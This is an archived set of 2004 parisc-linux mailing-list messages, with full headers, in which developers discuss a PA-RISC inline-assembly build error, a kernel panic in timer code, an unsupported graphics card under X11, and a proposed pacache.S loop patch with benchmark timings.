	Wed, 15 Dec 2004 09:27:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 22625-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 09:27:08 -0700 (MST)
Original-Received: from mrq-2.tiscalinet.it (mrq-2.tiscalinet.it [213.205.37.215])
	by free.linux.hp.com (Postfix) with ESMTP id F16023BE48
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 15 Dec 2004 09:27:07 -0700 (MST)
Original-Received: from mail-2-bnl.tiscali.it (10.39.115.132) by mrq-2.tiscalinet.it
	(7.0.028) id 419A120A003E8BBC; Wed, 15 Dec 2004 17:27:06 +0100
Original-Received: from [57.67.177.33] by mail-2-bnl.tiscali.it with HTTP;
	Wed, 15 Dec 2004 17:27:05 +0100
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22213

Hello all,

In the memcpy.c stand this comment:
 * TODO:
[...]
 * - try not to use the post-increment address modifiers; they create add=
itional
 *   interlocks
[...]

I right a test case which is precompile as:
        { register double r1;
                __asm__ __volatile__ ( "\t" "fldd" " 0(" "%%sr0" ",%1),
%0\n" : "=3Df"(r1) : "r"(pds) : "r8");
        while (len >=3D 8*sizeof(double)) {




                __asm__ __volatile__ ( "1:\t" "fstd" " %1, " "0" "(" "%%s=
r0"
",%0)\n" : "+r"(pdd) : "f"(r1) : "r8");
                __asm__ __volatile__ ( "1:\t" "fstd" " %1, " "8" "(" "%%s=
r0"
",%0)\n" : "+r"(pdd) : "f"(r1) : "r8");
                __asm__ __volatile__ ( "1:\t" "fstd" " %1, " "16" "(" "%%=
sr0"
",%0)\n" : "+r"(pdd) : "f"(r1) : "r8");
                __asm__ __volatile__ ( "1:\t" "fstd" " %1, " "24" "(" "%%=
sr0"
",%0)\n" : "+r"(pdd) : "f"(r1) : "r8");

                __asm__ __volatile__ ( "1:\t" "fstd" " %1, " "32" "(" "%%=
sr0"
",%0)\n" : "+r"(pdd) : "f"(r1) : "r8");
                __asm__ __volatile__ ( "1:\t" "fstd" " %1, " "40" "(" "%%=
sr0"
",%0)\n" : "+r"(pdd) : "f"(r1) : "r8");
                __asm__ __volatile__ ( "1:\t" "fstd" " %1, " "48" "(" "%%=
sr0"
",%0)\n" : "+r"(pdd) : "f"(r1) : "r8");
                __asm__ __volatile__ ( "1:\t" "fstd" " %1, " "56" "(" "%%=
sr0"
",%0)\n" : "+r"(pdd) : "f"(r1) : "r8");
                pdd -=3D 8;
                len -=3D 8*sizeof(double);
        }
        };

it failed to build because:

gcc -save-temps -o tmset5 tmset5.c
tmset5.s: Assembler messages:
tmset5.s:122: Error: Invalid operands 
tmset5.s:130: Error: Invalid operands 
tmset5.s:138: Error: Invalid operands 
tmset5.s:146: Error: Invalid operands 
tmset5.s:154: Error: Invalid operands 
tmset5.s:162: Error: Invalid operands 

this tmset5.s looks like:
[...]
    101 .L11:
    102         ldw 56(%r3),%r20
    103         ldo 64(%r3),%r19
    104         fldds 0(%r19),%fr22
    105 #APP
    106         1:      fstd %fr22, 0(%sr0,%r20)
    107
    108 #NO_APP
    109         stw %r20,56(%r3)
    110         ldw 56(%r3),%r20
    111         ldo 64(%r3),%r19
    112         fldds 0(%r19),%fr22
    113 #APP
    114         1:      fstd %fr22, 8(%sr0,%r20)
    115
    116 #NO_APP
    117         stw %r20,56(%r3)
    118         ldw 56(%r3),%r20
    119         ldo 64(%r3),%r19
    120         fldds 0(%r19),%fr22
    121 #APP
    122         1:      fstd %fr22, 16(%sr0,%r20)
    123
    124 #NO_APP
    125         stw %r20,56(%r3)
    126         ldw 56(%r3),%r20
    127         ldo 64(%r3),%r19
    128         fldds 0(%r19),%fr22
    129 #APP
    130         1:      fstd %fr22, 24(%sr0,%r20)
    131
    132 #NO_APP
    133         stw %r20,56(%r3)
    134         ldw 56(%r3),%r20
    135         ldo 64(%r3),%r19
    136         fldds 0(%r19),%fr22
    137 #APP
    138         1:      fstd %fr22, 32(%sr0,%r20)
    139 
    140 #NO_APP
    141         stw %r20,56(%r3)
    142         ldw 56(%r3),%r20
    143         ldo 64(%r3),%r19
    144         fldds 0(%r19),%fr22
    145 #APP
    146         1:      fstd %fr22, 40(%sr0,%r20)
    147
    148 #NO_APP
    149         stw %r20,56(%r3)
    150         ldw 56(%r3),%r20
    151         ldo 64(%r3),%r19
    152         fldds 0(%r19),%fr22
    153 #APP
    154         1:      fstd %fr22, 48(%sr0,%r20)
    155 
    156 #NO_APP
    157         stw %r20,56(%r3)
    158         ldw 56(%r3),%r20
    159         ldo 64(%r3),%r19
    160         fldds 0(%r19),%fr22
    161 #APP
    162         1:      fstd %fr22, 56(%sr0,%r20)
    163
    164 #NO_APP
    165         stw %r20,56(%r3)
    166         ldw 56(%r3),%r19
    167         ldo -64(%r19),%r19
    168         stw %r19,56(%r3)
    169         ldw -44(%r3),%r19
    170         ldo -64(%r19),%r19
    171         stw %r19,-44(%r3)
    172         b,n .L9
[...]

in lines: 
    106         1:      fstd %fr22, 0(%sr0,%r20)
[...]
    114         1:      fstd %fr22, 8(%sr0,%r20)
[...]

no pb but for following ones:

[...]
    122         1:      fstd %fr22, 16(%sr0,%r20)
[...]
    130         1:      fstd %fr22, 24(%sr0,%r20)
[...]
    138         1:      fstd %fr22, 32(%sr0,%r20)
[...]
    146         1:      fstd %fr22, 40(%sr0,%r20)
[...]
    154         1:      fstd %fr22, 48(%sr0,%r20)
[...]
    162         1:      fstd %fr22, 56(%sr0,%r20)
[...]

it seems that if d>8 there is a pb?
Did I miss something?

Thanks in advance for help,
    Joel

-------------------------------------------------------------------------=
--
Tiscali vous offre 3 mois d'ADSL et 3 mois de DVD gratuits...profitez-en.=
..
http://reg.tiscali.be/adsl/default.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: =?ISO-8859-15?Q?Re=3A=20=5Bparisc=2Dlinux=5D=20but=20still=20panic=3A=20=5BWAS=3A=202=2E6=2E10=2Drc1=2Dpa15=20boot=20fine=09on=20n4k=20but=20still=09annoying=20bactrace=5D?=
Date: Thu, 16 Dec 2004 15:19:28 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <418A8025000102BA@mail-2-bnl.tiscali.it>
References: <1101415152.2020.21.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623627 12030 80.91.229.3 (22 Nov 2014 02:33:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:47 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: "James Bottomley" <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Dec 2004 16:32:02 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 16 Dec 2004 17:32:02 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 6628A3BE4F; Thu, 16 Dec 2004 09:31:46 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04552-04; Thu, 16 Dec 2004 09:31:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 62D333BE4C; Thu, 16 Dec 2004 09:31:11 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 67B6F3BE49
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Dec 2004 09:31:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04401-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Dec 2004 09:31:01 -0700 (MST)
Original-Received: from mrq-2.tiscalinet.it (mrq-2.tiscalinet.it [213.205.37.215])
	by free.linux.hp.com (Postfix) with ESMTP id 02E133BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 16 Dec 2004 09:31:00 -0700 (MST)
Original-Received: from mail-2-bnl.tiscali.it (10.39.115.132) by mrq-2.tiscalinet.it
	(7.0.028) id 419A120A0047CE40; Thu, 16 Dec 2004 17:30:53 +0100
Original-Received: from [57.67.177.33] by mail-2-bnl.tiscali.it with HTTP;
	Thu, 16 Dec 2004 15:19:28 +0100
In-Reply-To: <1101415152.2020.21.camel@mulgrave>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22214

Hello all,

> 
> On Mon, 2004-11-22 at 08:10, Joel Soete wrote:
> > IASQ: 0000000000000000 0000000000000000 IAOQ: 000000001016a7cc 000000=
001016a7d0
> >  IIR: 527401a0    ISR: 0000000000000000  IOR: 00000000000000d0
> >  CPU:        0   CR30: 000000004d5a0000 CR31: 00000000105f0000
> >  ORIG_R28: 000000001010d18c
> >  IAOQ[0]: update_one_process+0x74/0x168
> >  IAOQ[1]: update_one_process+0x78/0x168
> >  RP(r2): update_one_process+0x6c/0x168
> 
> As best I can tell, this is in kernel/timer.c here:
> 
>         if (p->signal && !unlikely(p->state & (EXIT_DEAD|EXIT_ZOMBIE))
> &&
>             psecs / HZ >=3D p->signal->rlim[RLIMIT_CPU].rlim_cur) {
> 
> The problem seems to be that p->signal is null, but it wasn't null when=

> the processor began the evaluation of the condition.  0xd0 is the 64 bi=
t
> offset of rlim[RLIMIT_CPU].rlim_cur.
> 
> If you look at the code, p->signal should be in r19 which is zero.
> 
> I have no explanation for this (other than some weird race in the signa=
l
> handling code somewhere).
> 
> James
> 
Could it be simply because in do_irq() we need to embrace action->handler=
()
with (may be more complex, if i read do_IRQ of ia64) spin_lock/unlock()?

Cheers,
    Joel

-------------------------------------------------------------------------=
--
Tiscali vous offre 3 mois d'ADSL et 3 mois de DVD gratuits...profitez-en.=
..
http://reg.tiscali.be/adsl/default.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: X11 doesn't work
Date: Sun, 19 Dec 2004 05:56:13 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20041219045613.1760gmx1@mx020.gmx.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416623627 12033 80.91.229.3 (22 Nov 2014 02:33:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Dr Gavin Seddon <gavinseddon@blueyonder.co.uk>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Dec 2004 04:56:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx020) with SMTP; 19 Dec 2004 05:56:13 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DAD533BE5A; Sat, 18 Dec 2004 21:56:10 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03715-08; Sat, 18 Dec 2004 21:54:33 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id CB0E23BE61; Sat, 18 Dec 2004 21:54:03 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9CC8D3BE5F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Dec 2004 21:53:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 03715-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Dec 2004 21:53:54 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 3B5453BE5D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Dec 2004 21:53:54 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A0839298056
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Dec 2004 21:53:53 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15851-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 18 Dec 2004 21:53:53 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 686B8298052; Sat, 18 Dec 2004 21:53:53 -0700 (MST)
Resent-From: grundler@colo.lackof.org
Resent-Date: Sat, 18 Dec 2004 21:53:53 -0700
Resent-To: parisc-linux@lists.parisc-linux.org
Resent-Message-Id: <20041219045353.686B8298052@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22215

On Sat, Dec 18, 2004 at 04:24:34PM +0000, Dr Gavin Seddon wrote:
> > 	http://www.parisc-linux.org/faq/graphics-howto.html
>
> I did as instructed.  After my penguin on boot I see 'stifb:unsupported
> gfx card'

Did you have two gfx cards installed?
If you only have one then like the driver says, it's not supported.
I thought the penguin on boot was an indicator the card was supported.

>  and when I startx I get 'AddScreen/ScreenInit failed for
> driver 0'.  Need I alter XF86Config-4 to a different monitor?  At the
> moment it is set to 'generic'.

The Section "Screen" will reference a "Device". The corresponding
Section "Device" should be where one indicates which device one meant.
I've never tried to to setup multiple cards and don't know what
card specifier looks like. I suppose it's either a /dev name or
a PCI device (same format as lspci provides).

Anyone else help with this?

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: copy_user_page_asm suggested 64bit improvment [Was: [parisc-linux]
	clear user page test]
Date: Sun, 19 Dec 2004 20:27:26 +0000
Lines: 372
Approved: news@gmane.org
Message-ID: <41C5E42E.9020602@tiscali.be>
References: <20041210190333.GC6653@colo.lackof.org>
	<418A811700010466@mail-8-bnl.mail.tiscali.sys>
	<20041213180758.GA8705@colo.lackof.org>
	<41C34C56.4080508@tiscali.be>
	<20041218073036.GA29003@colo.lackof.org>
	<41C440A3.6060708@tiscali.be> <41C4872D.6010705@tiscali.be>
	<41C4A35A.7010003@tiscali.be>
	<20041219042528.GB15282@colo.lackof.org>
	<41C5D761.4030004@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623628 12035 80.91.229.3 (22 Nov 2014 02:33:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:48 +0000 (UTC)
To: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:16 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Dec 2004 20:30:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx057) with SMTP; 19 Dec 2004 21:30:30 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E3B453BE5D; Sun, 19 Dec 2004 13:30:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12777-10; Sun, 19 Dec 2004 13:28:39 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 4B3C53BE64; Sun, 19 Dec 2004 13:27:39 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 17FBB3BE62
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Dec 2004 13:27:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13291-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Dec 2004 13:27:32 -0700 (MST)
Original-Received: from spoolo2.tiscali.be (spoolo2.tiscali.be [62.235.13.173])
	by free.linux.hp.com (Postfix) with ESMTP id 6622F3BE5D
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 19 Dec 2004 13:27:31 -0700 (MST)
Original-Received: from [83.134.224.95] (helo=[83.134.224.95])
	by spoolo2.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1Cg7e6-0007nb-BO; Sun, 19 Dec 2004 21:27:16 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.3) Gecko/20041007 Debian/1.7.3-5
X-Accept-Language: en
In-Reply-To: <41C5D761.4030004@tiscali.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22216

Hello pa*,

Here is the last exchange I had with ggg:

Joel Soete wrote:
> 
> 
> Grant Grundler wrote:
> 
>> On Sat, Dec 18, 2004 at 09:38:34PM +0000, Joel Soete wrote:
>>
>>> interesting results:
>>> on b2k 64bit kernel:
>>> user    18m52.169s
>>> # including all those patch
>>> user    18m46.224s
>>> much better then clear_user_page_asm :-)
>>
>>
>>
>> "much better" is slightly overstated for a 0.62 % improvement.
>> That's a 7 second improvement over a 1132 second time frame.
>>
> Ok with the previous changes of clear_user_page_asm() the test case let 
> us expected some overall improvement (less ticks consumption :))
> but the final time results were absolutly desapointing istr:
> I test it on my b2k and here are the results:
> time make V=1 vmlinux (under 2.6.10-rc3-pa3-cvs)
> real 23m23.239s
> user 18m50.141s
> sys 4m21.203s
> 
> time make V=1 vmlinux (under 2.6.10-rc3-pa4-patch clear_user_...)
> real 23m18.552s
> user 18m50.534s
> sys 4m16.903s
> 
> :_(
> 
>> Sorry - I can't see what changed to bring about this improvement.
>> Can you point that out to me?
> 
> that make sense as you rejected previous patche, I will re-write it as 
> #ifdef __LP64__ so; NP
> 
>> I suspect there might be something else involved - perhaps this
>> difference is just within the noise of the test.
>>
> Ok I will make much more run ;-)
> 
>> BTW, I'll be on the road for the rest of the week...I won't be
>> able to pursue this until after I get back. If there are more
>> changes you want to the file, please post them to the list.
>>
> NP ;-) (have a nice travel and be carefull)
> 
> Thanks again for all,
>     Joel
> 
regarding this subject:
Joel Soete wrote:
 > Grant,
 >
 > still some more thought (and btw additional questions)
 >
 > As we choose to keep the same number of insn in this loop, I was looking
 > for something like:
 > #ifdef __LP64__
 > #define STR    std
 > #else
 > #define STR    stw
 > #endif
 >
 > but figure out that already exist and so why not using addtional
 > displacement #define and re-write loop like:
 > --- arch/parisc/kernel/pacache.S.New    2004-12-18 15:39:11.000000000 +0100
 > +++ arch/parisc/kernel/pacache.S    2004-12-18 19:19:53.862854692 +0100
 > @@ -288,6 +288,49 @@
 >
 >      .procend
 >
 > +#ifdef __LP64__
 > +    /* PREFETCH (Write) has not (yet) been proven to help here */
 > +/* #    define    PREFETCHW_OP    ldd        256(%0), %r0 */
 > +
 > +#define INCR    128    /* Loop's INCRement */
 > +#define LN    32    /* Loop's Number i.e. /* PAGE_SIZE/INCR == 32 */
 > +#define D0    0    /* 1st insn displacement */
 > +#define D1    8    /* 2d insn displacement */
 > +#define D2    16
 > +#define D3    24
 > +#define D4    32
 > +#define D5    40
 > +#define D6    48
 > +#define D7    56
 > +#define D8    64
 > +#define D9    72
 > +#define D10    80
 > +#define D11    88
 > +#define D12    96
 > +#define D13    104
 > +#define D14    112
 > +#define D15    120    /* last insn displacement */
 > +#else    /* !__LP64__ */
 > +#define INCR    64    /* Loop's INCRement */
 > +#define LN    64    /* Loop's Number i.e. /* PAGE_SIZE/INCR == 64 */
 > +#define D0    0    /* 1st insn displacement */
 > +#define D1    4    /* 2d insn displacement */
 > +#define D2    8
 > +#define D3    12
 > +#define D4    16
 > +#define D5    20
 > +#define D6    24
 > +#define D7    28
 > +#define D8    32
 > +#define D9    36
 > +#define D10    40
 > +#define D11    44
 > +#define D12    48
 > +#define D13    52
 > +#define D14    56
 > +#define D15    60    /* last insn displacement */
 > +#endif    /* __LP64__ */
 > +
 >      .export copy_user_page_asm,code
 >
 >  copy_user_page_asm:
 > @@ -502,55 +545,26 @@
 >
 >      pdtlb        0(%r28)
 >
 > -#ifdef __LP64__
 > -    ldi        32, %r1            /* PAGE_SIZE/128 == 32 */
 > -
 > -    /* PREFETCH (Write) has not (yet) been proven to help here */
 > -/* #define    PREFETCHW_OP    ldd        256(%0), %r0 */
 > +    ldi        LN, %r1            /* PAGE_SIZE/INCR == LN */
 >
 > -1:    std        %r0, 0(%r28)
 > -    std        %r0, 8(%r28)
 > -    std        %r0, 16(%r28)
 > -    std        %r0, 24(%r28)
 > -    std        %r0, 32(%r28)
 > -    std        %r0, 40(%r28)
 > -    std        %r0, 48(%r28)
 > -    std        %r0, 56(%r28)
 > -    std        %r0, 64(%r28)
 > -    std        %r0, 72(%r28)
 > -    std        %r0, 80(%r28)
 > -    std        %r0, 88(%r28)
 > -    std        %r0, 96(%r28)
 > -    std        %r0, 104(%r28)
 > -    std        %r0, 112(%r28)
 > -    std        %r0, 120(%r28)
 > +1:    STREG        %r0, D0(%r28)
 > +    STREG        %r0, D1(%r28)
 > +    STREG        %r0, D2(%r28)
 > +    STREG        %r0, D3(%r28)
 > +    STREG        %r0, D4(%r28)
 > +    STREG        %r0, D5(%r28)
 > +    STREG        %r0, D6(%r28)
 > +    STREG        %r0, D7(%r28)
 > +    STREG        %r0, D8(%r28)
 > +    STREG        %r0, D9(%r28)
 > +    STREG        %r0, D10(%r28)
 > +    STREG        %r0, D11(%r28)
 > +    STREG        %r0, D12(%r28)
 > +    STREG        %r0, D13(%r28)
 > +    STREG        %r0, D14(%r28)
 > +    STREG        %r0, D15(%r28)
 >      ADDIB>        -1, %r1, 1b
 > -    ldo        128(%r28), %r28
 > -
 > -#else    /* ! __LP64 */
 > -
 > -    ldi        64, %r1            /* PAGE_SIZE/64 == 64 */
 > -
 > -1:
 > -    stw        %r0, 0(%r28)
 > -    stw        %r0, 4(%r28)
 > -    stw        %r0, 8(%r28)
 > -    stw        %r0, 12(%r28)
 > -    stw        %r0, 16(%r28)
 > -    stw        %r0, 20(%r28)
 > -    stw        %r0, 24(%r28)
 > -    stw        %r0, 28(%r28)
 > -    stw        %r0, 32(%r28)
 > -    stw        %r0, 36(%r28)
 > -    stw        %r0, 40(%r28)
